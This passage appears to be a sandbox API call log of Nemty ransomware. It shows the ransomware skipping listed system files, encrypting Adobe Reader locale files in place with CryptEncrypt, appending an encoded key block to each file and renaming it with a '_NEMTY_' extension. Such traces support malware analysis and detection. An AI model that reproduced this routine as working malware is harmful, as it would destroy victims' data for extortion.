dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0185.424] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830b2fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="EScript.UKR", cAlternateFileName="")) returned 1 [0185.424] lstrcmpiW (lpString1="EScript.UKR", lpString2=".") returned 1 [0185.424] lstrcmpiW (lpString1="EScript.UKR", lpString2="..") returned 1 [0185.424] lstrcmpiW (lpString1="EScript.UKR", lpString2="...") returned 1 [0185.424] lstrcmpiW (lpString1="EScript.UKR", lpString2="windows") returned -1 [0185.424] lstrcmpiW (lpString1="EScript.UKR", lpString2="$RECYCLE.BIN") returned 1 [0185.424] lstrcmpiW (lpString1="EScript.UKR", lpString2="rsa") returned -1 [0185.424] lstrcmpiW (lpString1="EScript.UKR", lpString2="NTDETECT.COM") returned -1 [0185.424] lstrcmpiW (lpString1="EScript.UKR", lpString2="ntldr") returned -1 [0185.424] lstrcmpiW (lpString1="EScript.UKR", lpString2="MSDOS.SYS") returned -1 [0185.424] lstrcmpiW (lpString1="EScript.UKR", lpString2="IO.SYS") returned -1 [0185.424] lstrcmpiW (lpString1="EScript.UKR", lpString2="boot.ini") returned 1 [0185.424] lstrcmpiW (lpString1="EScript.UKR", lpString2="boot.ini") returned 1 [0185.424] lstrcmpiW (lpString1="EScript.UKR", lpString2="AUTOEXEC.BAT") returned 1 [0185.424] lstrcmpiW (lpString1="EScript.UKR", lpString2="ntuser.dat") returned -1 [0185.424] lstrcmpiW (lpString1="EScript.UKR", lpString2="desktop.ini") returned 1 [0185.424] lstrcmpiW (lpString1="EScript.UKR", lpString2="CONFIG.SYS") returned 1 [0185.425] lstrcmpiW (lpString1="EScript.UKR", lpString2="RECYCLER") returned -1 [0185.425] lstrcmpiW (lpString1="EScript.UKR", lpString2="BOOTSECT.BAK") returned 1 [0185.425] lstrcmpiW (lpString1="EScript.UKR", lpString2="bootmgr") returned 1 [0185.425] lstrcmpiW (lpString1="EScript.UKR", lpString2="programdata") returned -1 [0185.425] lstrcmpiW (lpString1="EScript.UKR", lpString2="appdata") returned 1 [0185.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.UKR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.UKR", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.UKR", lpUsedDefaultChar=0x0) returned 11 [0185.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.UKR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.UKR", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.UKR", lpUsedDefaultChar=0x0) returned 11 [0185.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.UKR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.UKR", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.UKR", lpUsedDefaultChar=0x0) returned 11 [0185.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.UKR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.UKR", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.UKR", lpUsedDefaultChar=0x0) returned 11 [0185.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0185.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0185.425] Sleep (dwMilliseconds=0x5) [0185.435] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x222cbd50, dwHighDateTime=0x1d561e8)) [0185.435] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x222cbd50, dwHighDateTime=0x1d561e8)) [0185.435] GetLastError () returned 0x0 [0185.435] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.435] GetLastError () returned 0x0 [0185.435] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.435] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.435] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.435] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.435] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.435] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.435] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0185.436] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="EkiSereCjA76CfFFT5RhadifCoBFRnidjIK0JTkm7kdaSeXq1waNxLBPW8tvSVWZ\r\nW5rYFriHDUtJpqjywggWmmCN9YTrBTthiU3OOO3If77bJRf11eRZupitfNzgIvPo\r\ngGPRS9dkri7LQr4YPHfvbK1Je1gxVfT8gZm7E4pYS44NYPMmwKZpMbUp+iIfFrjG\r\ndqOSkjbW0fDvaA41s8mSa3o6quYqXSuOsASsfYyL836Lm+ox+TJ6NoSGLX4nItP8\r\nVKCj4CFKu6KBDsv/7taHBKUxmPk42VBKL8w/z9wHdM1WpXSywMdhUG6aVCuuaxwo\r\nwXmxj59FSUC+JP20kNmshA==\r\n", pcchString=0x653e5dc) returned 1 [0185.436] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.436] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.436] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.436] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.436] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0185.436] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.436] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\EScript.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\escript.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.436] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=40960) returned 1 [0185.436] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa000) returned 0x6352c48 [0185.436] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.436] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xa000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xa000, lpOverlapped=0x0) returned 1 [0185.440] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.440] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xa000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xa000, lpOverlapped=0x0) returned 1 [0185.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.441] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=40960, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa000 [0185.441] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.441] CloseHandle (hObject=0x2e8) returned 1 [0185.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0185.441] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.441] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0185.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0185.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0185.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.441] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\EScript.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\escript.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\EScript.UKR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\escript.ukr._nemty_kgobjgd_")) returned 1 [0185.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0185.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0185.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.442] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830b2fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="IA32.UKR", cAlternateFileName="")) returned 1 [0185.442] lstrcmpiW (lpString1="IA32.UKR", lpString2=".") returned 1 [0185.442] lstrcmpiW (lpString1="IA32.UKR", lpString2="..") returned 1 [0185.442] lstrcmpiW (lpString1="IA32.UKR", lpString2="...") returned 1 [0185.442] lstrcmpiW (lpString1="IA32.UKR", lpString2="windows") returned -1 [0185.442] lstrcmpiW (lpString1="IA32.UKR", lpString2="$RECYCLE.BIN") returned 1 [0185.442] lstrcmpiW (lpString1="IA32.UKR", lpString2="rsa") returned -1 [0185.442] lstrcmpiW (lpString1="IA32.UKR", lpString2="NTDETECT.COM") returned -1 [0185.442] lstrcmpiW (lpString1="IA32.UKR", lpString2="ntldr") returned -1 [0185.442] lstrcmpiW (lpString1="IA32.UKR", lpString2="MSDOS.SYS") returned -1 [0185.442] lstrcmpiW (lpString1="IA32.UKR", lpString2="IO.SYS") returned -1 [0185.442] lstrcmpiW (lpString1="IA32.UKR", lpString2="boot.ini") returned 1 [0185.442] lstrcmpiW (lpString1="IA32.UKR", lpString2="boot.ini") returned 1 [0185.443] lstrcmpiW (lpString1="IA32.UKR", lpString2="AUTOEXEC.BAT") returned 1 [0185.443] lstrcmpiW (lpString1="IA32.UKR", lpString2="ntuser.dat") returned -1 [0185.443] lstrcmpiW (lpString1="IA32.UKR", lpString2="desktop.ini") returned 1 [0185.443] lstrcmpiW (lpString1="IA32.UKR", lpString2="CONFIG.SYS") returned 1 [0185.443] lstrcmpiW (lpString1="IA32.UKR", lpString2="RECYCLER") returned -1 [0185.443] lstrcmpiW (lpString1="IA32.UKR", lpString2="BOOTSECT.BAK") returned 1 [0185.443] lstrcmpiW (lpString1="IA32.UKR", lpString2="bootmgr") returned 1 [0185.443] lstrcmpiW (lpString1="IA32.UKR", lpString2="programdata") returned -1 [0185.443] lstrcmpiW (lpString1="IA32.UKR", lpString2="appdata") returned 1 [0185.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.UKR", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0185.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.UKR", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.UKR", lpUsedDefaultChar=0x0) returned 8 [0185.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.UKR", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0185.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.UKR", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.UKR", lpUsedDefaultChar=0x0) returned 8 [0185.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.UKR", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0185.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.UKR", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.UKR", lpUsedDefaultChar=0x0) returned 8 [0185.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.UKR", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0185.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.UKR", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.UKR", lpUsedDefaultChar=0x0) returned 8 [0185.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0185.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0185.443] Sleep (dwMilliseconds=0x5) [0185.451] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x222f1eb0, dwHighDateTime=0x1d561e8)) [0185.451] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x222f1eb0, dwHighDateTime=0x1d561e8)) [0185.451] GetLastError () returned 0x0 [0185.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.451] GetLastError () returned 0x0 [0185.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.451] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.451] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.451] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0185.451] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="YSFzokiouFnOrYC4EgGYcv/DxT8zyaj6swC00d/YG12Q50LzaLoGEIuCTpx5Mlcf\r\nxAYnKySuV0Yc5Ru9Iub/6NLFpFqh3ulG2BClfu63Zs+LYms5BmnsYWWNSTlw0fC/\r\nirUdw60aRFzSOCJxYPBZlB98yD1hI7pJujKVDFInlfQo1oynjtj9gn9UCUQe+ejf\r\nboU7BodXG/nEH9DgdjMzD4/Tb7Z87MMJhkKmvofFtJUfvxMeI2WmG+bd7i2Ox7Ui\r\nikVvq7q2lPQiXcMMGmwnzSdrX6zj7ZaezIjH0uafsNMbwbmwKRlNy42AoYdUX5+9\r\nyl2Biblxm69G1xj69548yQ==\r\n", pcchString=0x653e5dc) returned 1 [0185.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0185.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.452] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\IA32.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\ia32.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.452] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=3584) returned 1 [0185.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe00) returned 0x634ad48 [0185.452] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.452] ReadFile (in: hFile=0x2e8, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e824*=0xe00, lpOverlapped=0x0) returned 1 [0185.454] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.454] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e81c*=0xe00, lpOverlapped=0x0) returned 1 [0185.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0185.454] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=3584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe00 [0185.454] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.454] CloseHandle (hObject=0x2e8) returned 1 [0185.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0185.454] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.454] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0185.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0185.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0185.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.454] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 